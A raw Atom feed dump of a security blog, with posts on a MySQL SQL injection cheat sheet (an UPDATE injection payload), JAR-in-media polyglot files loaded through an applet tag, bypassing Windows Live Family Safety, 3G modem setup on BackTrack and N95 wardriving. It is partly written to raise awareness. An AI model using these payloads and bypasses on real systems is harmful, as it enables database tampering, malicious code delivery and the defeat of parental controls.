'Trebuchet MS', sans-serif;"&gt;1';UPDATE &lt;/span&gt;&lt;/span&gt;&lt;b&gt;&lt;span style="background-attachment: initial; background-clip: initial; background-color: yellow; background-image: initial; background-origin: initial; color: red; line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;table_name&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;span style="line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt; SET &lt;/span&gt;&lt;/span&gt;&lt;b&gt;&lt;span style="background-attachment: initial; background-clip: initial; background-color: yellow; background-image: initial; background-origin: initial; color: red; line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;column_name&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;span style="line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;=0x&lt;/span&gt;&lt;/span&gt;&lt;b&gt;&lt;span style="background-attachment: initial; background-clip: initial; background-color: yellow; background-image: initial; background-origin: initial; color: red; line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;hex_code_of_new_record_value&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;span style="line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt; WHERE &lt;/span&gt;&lt;/span&gt;&lt;b&gt;&lt;span style="background-attachment: initial; background-clip: initial; background-color: yellow; background-image: initial; background-origin: initial; color: red; line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;column_name&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;span style="line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;=0x&lt;/span&gt;&lt;/span&gt;&lt;b&gt;&lt;span style="background-attachment: initial; background-clip: initial; background-color: yellow; background-image: initial; background-origin: initial; color: red; line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;hex_code_of_old_record_value&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;span style="line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;--&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span style="line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span style="line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;I will update the cheat sheets for other database servers too in separate posts. Keep watching. Till then take care and bye.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1567338316386950986-4191565560837918501?l=hacksafe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hacksafe.blogspot.com/feeds/4191565560837918501/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1567338316386950986&amp;postID=4191565560837918501' title='6 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1567338316386950986/posts/default/4191565560837918501'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1567338316386950986/posts/default/4191565560837918501'/><link rel='alternate' type='text/html' href='http://hacksafe.blogspot.com/2010/10/quick-dirty-mysql-error-based-blind.html' title='Quick &amp; Dirty MySQL (Error Based) SQLi CheatSheet'/><author><name>Nishant</name><uri>http://www.blogger.com/profile/17562587307055540092</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1567338316386950986.post-859944304302052828</id><published>2009-12-08T00:12:00.000+05:30</published><updated>2009-12-08T00:12:35.075+05:30</updated><title type='text'>Why?Newton: My Engineering Story - 2009</title><content type='html'>&lt;a href="http://www.whynewton.com/story/288/"&gt;Why?Newton: My Engineering Story - 2009&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1567338316386950986-859944304302052828?l=hacksafe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://www.whynewton.com/story/288/' title='Why?Newton: My Engineering Story - 2009'/><link rel='replies' type='application/atom+xml' href='http://hacksafe.blogspot.com/feeds/859944304302052828/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1567338316386950986&amp;postID=859944304302052828' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1567338316386950986/posts/default/859944304302052828'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1567338316386950986/posts/default/859944304302052828'/><link rel='alternate' type='text/html' href='http://hacksafe.blogspot.com/2009/12/whynewton-my-engineering-story-2009.html' title='Why?Newton: My Engineering Story - 2009'/><author><name>Nishant</name><uri>http://www.blogger.com/profile/17562587307055540092</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1567338316386950986.post-3847323267493025650</id><published>2009-12-03T20:13:00.011+05:30</published><updated>2009-12-03T22:12:17.345+05:30</updated><title type='text'>Who kept the jars out? - Beyond GIFARs</title><content type='html'>&lt;div style="text-align: justify;"&gt;No, I’m not talking about the cookie jar. This time I’m serious and it’s getting hotter. You see photos, you read books, and you watch videos. But have you ever wondered that they all, too, watch you? They know what you do. And, often, they speak it back loud. No this not some sort of black-magic or some horror movie promo. This is real. If you haven’t faced it yet, you will!&lt;br /&gt;&lt;br /&gt;Remember GIFAR? No? Never heard even? Well GIFAR, is a new attack vector for browser based exploits. It was discussed in BlackHat USA 2008.&lt;span style=""&gt;  &lt;/span&gt;GIFAR = GIF + JAR. It is basically injection of a Java Executable Archives (.jar files) into innocent looking GIF images (.gif files). Upon injection the GIF image will still be a valid image file with all the new executable code functionalities in the background. This can be misused by malicious hackers to perform all sorts of background mischief while you are busy watching the image. They can:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Steal and Replay Cookies&lt;/li&gt;&lt;li&gt;Hijack Sessions&lt;/li&gt;&lt;li&gt;Impersonate Users&lt;/li&gt;&lt;li&gt;Takeover website accounts&lt;/li&gt;&lt;/ul&gt;&lt;!--[endif]--&gt;But that’s not just. According to my personal research based on this attack vector, I have concluded that this attack has a more diversified impact. In short, I was successful in making PNGAR, PDFAR, FLVAR, MP4AR. If I’m not wrong, you have already figured out what I’m&lt;br /&gt;talking of.&lt;br /&gt;&lt;ul&gt;&lt;li&gt;PNG + JAR = PNGAR&lt;/li&gt;&lt;li&gt;PDF + JAR = PDFAR&lt;/li&gt;&lt;li&gt;FLV + JAR = FLVAR&lt;/li&gt;&lt;li&gt;WMV + JAR = WMVAR&lt;/li&gt;&lt;li&gt;MP4 + JAR = MP4AR&lt;/li&gt;&lt;/ul&gt;Here is the Proof of Concept:&lt;br /&gt;&lt;span style=""&gt;&lt;span style=""&gt;1.&lt;span style=";font-family:&amp;quot;;font-size:7pt;"  &gt;       &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;The original file, a decent video.&lt;span style=""&gt;&lt;span style=""&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_WJuJNL8-gPE/SxfQgEGwqMI/AAAAAAAAAHM/EKL8UvZ5bjk/s1600-h/5.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 395px; height: 400px;" src="http://2.bp.blogspot.com/_WJuJNL8-gPE/SxfQgEGwqMI/AAAAAAAAAHM/EKL8UvZ5bjk/s400/5.png" alt="" id="BLOGGER_PHOTO_ID_5411022726585428162" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style=""&gt;&lt;span style=""&gt;2.&lt;span style=";font-family:&amp;quot;;font-size:7pt;"  &gt;       &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;The malicious JAR file, I used the burp suite for demo.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_WJuJNL8-gPE/SxfQzSN6-WI/AAAAAAAAAHU/OuYomNKMy5I/s1600-h/11.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 318px;" src="http://1.bp.blogspot.com/_WJuJNL8-gPE/SxfQzSN6-WI/AAAAAAAAAHU/OuYomNKMy5I/s400/11.png" alt="" id="BLOGGER_PHOTO_ID_5411023056791075170" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style=""&gt;&lt;span style=""&gt;3.&lt;span style=";font-family:&amp;quot;;font-size:7pt;"  &gt;       &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;The resulting MP4AR file.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_WJuJNL8-gPE/SxfRO9cPMXI/AAAAAAAAAHc/f34sRxZhNU4/s1600-h/3.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 216px;" src="http://4.bp.blogspot.com/_WJuJNL8-gPE/SxfRO9cPMXI/AAAAAAAAAHc/f34sRxZhNU4/s400/3.png" alt="" id="BLOGGER_PHOTO_ID_5411023532250313074" border="0" /&gt;&lt;/a&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_WJuJNL8-gPE/SxfRPZ0LbeI/AAAAAAAAAHk/Fngd6cTAwB8/s1600-h/6.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 394px; height: 400px;" src="http://2.bp.blogspot.com/_WJuJNL8-gPE/SxfRPZ0LbeI/AAAAAAAAAHk/Fngd6cTAwB8/s400/6.png" alt="" id="BLOGGER_PHOTO_ID_5411023539866922466" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_WJuJNL8-gPE/SxfRPnvvzQI/AAAAAAAAAHs/EGwHsXmTWOo/s1600-h/10.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 335px;" src="http://3.bp.blogspot.com/_WJuJNL8-gPE/SxfRPnvvzQI/AAAAAAAAAHs/EGwHsXmTWOo/s400/10.png" alt="" id="BLOGGER_PHOTO_ID_5411023543606430978" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Now for using in web, you can do something like this:&lt;br /&gt;&lt;pre class="exampletext"&gt;&lt;blockquote&gt;&lt; APPLET *&lt;br /&gt;CODE = " StartBurp.class " WIDTH = " 100% " HEIGHT="90" &lt;em class="examplecode"&gt;ARCHIVE = " hackme.mp4 " &lt;/em&gt;&gt;&lt;br /&gt;&lt; / APPLET &gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Can you imagine the consequences? If not, ask yourself, today how websites today host or allow to host, any or all of the above mentioned media i.e. GIF, PNG, PDF, FLV, WMV, MP4? Now if we talk about real life impact of this attack vector, I would like to point few sites which are known for hosting those files only.&lt;br /&gt;&lt;ul&gt;&lt;li&gt;GIF – all most all&lt;/li&gt;&lt;li&gt;PNG – -do-&lt;/li&gt;&lt;li&gt;PDF – scribd, google docs&lt;/li&gt;&lt;li&gt;FLV – youtube, gmail chat&lt;/li&gt;&lt;li&gt;MP4 – youtube&lt;/li&gt;&lt;/ul&gt;It doesn’t even end here. It’s not about the JAR files, only. ZIP and files based on the ZIP architecture can, too, be injected. Though injecting ZIP files may be not interesting to potential web hackers. It can prove to be a valuable tool for hackers who want to cover their tracks or traces i.e. post-exploitation evidence clearance.&lt;br /&gt;&lt;br /&gt;Well fortunately, there is a workaround for this vulnerability. A simple way is to re-save the file in another or even the same format and it would render the file harmless while keeping the useful content intact. I have written (actually, half-done ;)) a Perl based tool that scans for malicious content in harmless files.&lt;span style=""&gt;  &lt;/span&gt;I will post up the link as soon as I get time to complete it.&lt;br /&gt;&lt;br /&gt;So next time you watch a photo, beware of its eye. :)&lt;/div&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;div style="text-align: justify;"&gt;    &lt;/div&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;div style="text-align: justify;"&gt;                        &lt;/div&gt;&lt;div style="text-align: justify;"&gt;    &lt;/div&gt;&lt;p style="text-align: justify;" class="MsoNormal"&gt;&lt;span style=""&gt;&lt;!--[if gte vml 1]&gt;&lt;v:shape id="Picture_x0020_6" spid="_x0000_i1027" type="#_x0000_t75" alt="3.png" style="'width:450.75pt;height:243.75pt;visibility:visible;mso-wrap-style:square'"&gt;  &lt;v:imagedata src="file:///C:\Users\Nishant\AppData\Local\Temp\msohtmlclip1\01\clip_image005.png" title="3"&gt; &lt;/v:shape&gt;&lt;![endif]--&gt;&lt;!--[if !vml]--&gt;&lt;!--[endif]--&gt;&lt;/span&gt;&lt;span style=""&gt; &lt;!--[endif]--&gt;&lt;/span&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;    &lt;/div&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1567338316386950986-3847323267493025650?l=hacksafe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hacksafe.blogspot.com/feeds/3847323267493025650/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1567338316386950986&amp;postID=3847323267493025650' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1567338316386950986/posts/default/3847323267493025650'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1567338316386950986/posts/default/3847323267493025650'/><link rel='alternate' type='text/html' href='http://hacksafe.blogspot.com/2009/12/who-kept-jars-out-beyond-gifars.html' title='Who kept the jars out? - Beyond GIFARs'/><author><name>Nishant</name><uri>http://www.blogger.com/profile/17562587307055540092</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_WJuJNL8-gPE/SxfQgEGwqMI/AAAAAAAAAHM/EKL8UvZ5bjk/s72-c/5.png' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1567338316386950986.post-1970239451205400385</id><published>2009-09-28T21:37:00.005+05:30</published><updated>2010-01-12T01:35:54.414+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='BSNL 3G'/><category scheme='http://www.blogger.com/atom/ns#' term='BackTrack 4'/><title type='text'>BSNL 3G (Micromax MMX 300G) in BackTrack 4 (Ubuntu 8.10)</title><content type='html'>Hey folks,&lt;br /&gt;&lt;br /&gt;I got my BSNL 3G data card yesterday. Its actually a Micromax MMX 300G (HSPA/HSDPA/UMTS/EDGE/GPRS) USB Modem. Its uses ZeroCD (TM) architecture i.e. it has no extra CD for drivers. When you plug in the modem for the first time, you'll see a CD-Drive in your My Computer. After you  install the drivers, it won't be detected as a CD-Drive any more. And you can use the modem's dialer to connect to the internet. 7.2 Mbps in the car is the best part of it :-).&lt;br /&gt;But the problem is when you plug it into your linux box. The &lt;a href="http://www.micromaxinfo.com/products/mmx300g.html"&gt;product website&lt;/a&gt; says its compatible with Win2000/XP/VISTA/MAC only.&lt;br /&gt;&lt;br /&gt;Being curious and annoyed, I decided to make it work in my BackTrack 4 Pre Release. And finally, i got it! :-D&lt;br /&gt;&lt;br /&gt;Here's how:&lt;br /&gt;&lt;br /&gt;1. Goto Konsole and write&lt;br /&gt;&lt;span style="font-style: italic;"&gt;&lt;/span&gt;&lt;blockquote&gt;&lt;span style="font-style: italic;"&gt;$ modprobe usbserial vendor=0x1c9e product=0x9603&lt;/span&gt;&lt;/blockquote&gt;2. and in the same console type&lt;br /&gt;&lt;span style="font-style: italic;"&gt;&lt;/span&gt;&lt;blockquote&gt;&lt;span style="font-style: italic;"&gt;$ dmesg&lt;/span&gt;&lt;/blockquote&gt;to see the name of the modem device in the &lt;span style="font-style: italic;"&gt;/dev&lt;/span&gt; directory e.g. /dev/ttyUSB0, or /dev/ttyUSB1 or /dev/ttyUSB2. In my case it was ttyUSB2.&lt;br /&gt;&lt;br /&gt;3. then you need to edit the &lt;span style="font-style: italic;"&gt;wvdial.conf&lt;/span&gt; file in the &lt;span style="font-style: italic;"&gt;/etc/wvdial.conf&lt;/span&gt;. Open the file with any editor, say Kwrite, delete all its contents and write the following in it:&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;[Dialer Defaults]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Init1 = ATZ&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Init2 = ATQ0 V1 E1 S0=0 &amp;amp;C1 &amp;amp;D2 +FCLASS=0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Init3 = ATQ0 V1 E1 S0=0 &amp;amp;C1 &amp;amp;D2 +FCLASS=0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Init4 = AT+CGDCONT=1,"IP","gprseast.cellone.in"&lt;/span&gt; &lt;----------Replace your APN here &lt;span style="font-style: italic;"&gt;Dial Command = ATDT&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Carrier Check = no&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Modem = /dev/ttyUSB2&lt;/span&gt; &lt;------- Replace your device name here &lt;span style="font-style: italic;"&gt;Modem Type = USB Modem&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Baud = 7200000&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;New PPPD = yes&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Stupid Mode = 1&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;ISDN = 0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Username = 165&lt;span style="font-style: italic;"&gt;&lt;span style="font-style: italic;"&gt; &lt;---------- Replace your user name here&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Password = 165 &lt;&lt;/span&gt;----------Replace your password here&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Phone = *99***#&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;now save and close the file.&lt;br /&gt;&lt;br /&gt;4. And the end, open a new Konsole and write&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;&lt;/span&gt;&lt;blockquote&gt;&lt;span style="font-style: italic;"&gt;$ wvdial&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;And now, you be able to connect to the internet. Don't close this window. Press Ctrl + C, to terminate the connection.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1567338316386950986-1970239451205400385?l=hacksafe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hacksafe.blogspot.com/feeds/1970239451205400385/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1567338316386950986&amp;postID=1970239451205400385' title='6 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1567338316386950986/posts/default/1970239451205400385'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1567338316386950986/posts/default/1970239451205400385'/><link rel='alternate' type='text/html' href='http://hacksafe.blogspot.com/2009/09/bsnl-3g-micromax-mmx-300g-in-backtrack.html' title='BSNL 3G (Micromax MMX 300G) in BackTrack 4 (Ubuntu 8.10)'/><author><name>Nishant</name><uri>http://www.blogger.com/profile/17562587307055540092</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1567338316386950986.post-6154834391622085971</id><published>2009-04-13T13:22:00.008+05:30</published><updated>2009-04-13T17:23:35.277+05:30</updated><title type='text'>Windows Live! Family Safety - A mere farce!</title><content type='html'>&lt;div style="text-align: justify;"&gt;Well, Today I turned on my laptop in the morning with a cup of tea. I got a notification that my Windows 7 pc has a new update to install called Windows Live Essentials. Browsing through its contents, the only thing that prompted me to install the update was the Windows Live Family Safety. After an ~190 MB download and install, I rebooted my laptop, and noticed that Family Safety is an content filtering application for blocking pornographic, violence, drugs etc related content from the innocent family members. It is web based and you must have a Windows LiveID to use and administer it. Every time you login to your desktop, you find:&lt;br /&gt;&lt;/div&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_WJuJNL8-gPE/SeL1vgq7E3I/AAAAAAAAAEw/BAa0kDVKqc0/s1600-h/Capture.PNG"&gt;&lt;img style="cursor: pointer; width: 400px; height: 300px;" src="http://2.bp.blogspot.com/_WJuJNL8-gPE/SeL1vgq7E3I/AAAAAAAAAEw/BAa0kDVKqc0/s400/Capture.PNG" alt="" id="BLOGGER_PHOTO_ID_5324087906077971314" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;as you see in the above screenshot that Web Browsing was blocked until it has been authenticated by the administrator/parent. But kids now a days have become smart enough to get a workaround for this. And they will find it fun to bypass the Windows Live Family Safety as it is so easy to do.&lt;br /&gt;Just follow the screenshots below and you are done!&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_WJuJNL8-gPE/SeL2zefvGqI/AAAAAAAAAE4/etGlIs85LzQ/s1600-h/Capture1.PNG"&gt;&lt;img style="cursor: pointer; width: 400px; height: 291px;" src="http://1.bp.blogspot.com/_WJuJNL8-gPE/SeL2zefvGqI/AAAAAAAAAE4/etGlIs85LzQ/s400/Capture1.PNG" alt="" id="BLOGGER_PHOTO_ID_5324089073725282978" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;The highlighted Windows Service is the engine for Windows Live Family Safety. So as a matter of fact, we should be able to bypass the filtration if we are able to Stop this service, provided it should not Restart itself. So lets see (fingers crossed ;))&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_WJuJNL8-gPE/SeL3peOY6tI/AAAAAAAAAFA/93kh_3grcf4/s1600-h/Capture2.PNG"&gt;&lt;img style="cursor: pointer; width: 400px; height: 300px;" src="http://2.bp.blogspot.com/_WJuJNL8-gPE/SeL3peOY6tI/AAAAAAAAAFA/93kh_3grcf4/s400/Capture2.PNG" alt="" id="BLOGGER_PHOTO_ID_5324090001365461714" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;OK, now that we have stopped the service, let us check if it really works, I don't think it would be so easy for us. Just to confirm,&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_WJuJNL8-gPE/SeL4K5a16RI/AAAAAAAAAFI/7gqzpZ2JqdI/s1600-h/Capture3.PNG"&gt;&lt;img style="cursor: pointer; width: 400px; height: 291px;" src="http://1.bp.blogspot.com/_WJuJNL8-gPE/SeL4K5a16RI/AAAAAAAAAFI/7gqzpZ2JqdI/s400/Capture3.PNG" alt="" id="BLOGGER_PHOTO_ID_5324090575601133842" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;He he he! It was really that easy. Well its a minor bug that can be fixed. But till its done, concerned parents please don't rely on Windows Live Family Safety!&lt;br /&gt;&lt;br /&gt;For those who want to test this straight and fast, here is a proo-of-concept tool that I have personally coded. Download it &lt;a href="http://nishantdaspatnaik.synthasite.com/resources/bypassing.zip"&gt;here&lt;/a&gt;.&lt;br /&gt;Good Bye! Take Care.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1567338316386950986-6154834391622085971?l=hacksafe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hacksafe.blogspot.com/feeds/6154834391622085971/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1567338316386950986&amp;postID=6154834391622085971' title='8 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1567338316386950986/posts/default/6154834391622085971'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1567338316386950986/posts/default/6154834391622085971'/><link rel='alternate' type='text/html' href='http://hacksafe.blogspot.com/2009/04/windows-live-family-safety-mere-farce.html' title='Windows Live! Family Safety - A mere farce!'/><author><name>Nishant</name><uri>http://www.blogger.com/profile/17562587307055540092</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_WJuJNL8-gPE/SeL1vgq7E3I/AAAAAAAAAEw/BAa0kDVKqc0/s72-c/Capture.PNG' height='72' width='72'/><thr:total>8</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1567338316386950986.post-525520943996468959</id><published>2009-02-23T12:55:00.008+05:30</published><updated>2009-02-23T13:19:31.151+05:30</updated><title type='text'>WarDriving with the Nokia N95</title><content type='html'>I’ve been looking for a war driving application for my N95 ever since I got it.  I mean hey, it has Wi-Fi support and a built-in GPS, so isn’t it the perfect portable war driving hardware?  Luckily today I came across the application I’ve been looking for.  It’s Barbelo v0.3.You can grab a copy of yours from &lt;a href="http://darkircop.org/barbelo/barbelo-v0.3.sisx"&gt;here&lt;/a&gt;. And &lt;a href="http://darkircop.org/barbelo/GPSd-v0.2.jar"&gt;GPSd&lt;/a&gt; v0.2, an add-on tool if you want to use your phone's GPS capabilities with Barbelo.&lt;br /&gt;&lt;br /&gt;Steps To War Drive with Nokia N95:&lt;br /&gt;&lt;br /&gt;1. Now that you have GPSd and Barbelo installed, you have to run GPSd first.  Select &lt;strong&gt;Menu&lt;/strong&gt; -&gt; &lt;strong&gt;Applications&lt;/strong&gt; -&gt; &lt;strong&gt;GPSd&lt;/strong&gt;.&lt;br /&gt;&lt;br /&gt;&lt;img src="http://www.simplehelp.net/images/wardrive/wardrive_001.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;2 . You will be prompted to allow GPSd to use &lt;strong&gt;Positioning Data&lt;nobr&gt;&lt;/nobr&gt;&lt;/strong&gt;.  Select &lt;strong&gt;Yes&lt;/strong&gt;.&lt;br /&gt;&lt;br /&gt;&lt;img src="http://www.simplehelp.net/images/wardrive/wardrive_002.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;3 . Next you are prompted to allow GPSd to use the network and send or receive data.  Also select &lt;strong&gt;Yes&lt;/strong&gt;.&lt;br /&gt;&lt;br /&gt;&lt;img src="http://www.simplehelp.net/images/wardrive/wardrive_003.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;4. It may take awhile for GPSd to get a fix. Try going outside somewhere with a clear, unobstructed view of the sky. Once you have a GPS fix as indicated by numbers other than 0 showing up under &lt;strong&gt;Latitude and Longitude&lt;/strong&gt;, press &lt;strong&gt;Hide&lt;/strong&gt; to leave GPSd running in the background. This is important because if GPSd isn’t running, Barbelo won’t be able to log any location data.&lt;br /&gt;&lt;br /&gt;&lt;img src="http://www.simplehelp.net/images/wardrive/wardrive_004.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;5. Now run Barbelo by selecting &lt;strong&gt;Menu&lt;/strong&gt; -&gt; &lt;strong&gt;Applications&lt;/strong&gt; -&gt; &lt;strong&gt;Barbelo&lt;/strong&gt;.&lt;br /&gt;&lt;br /&gt;&lt;img 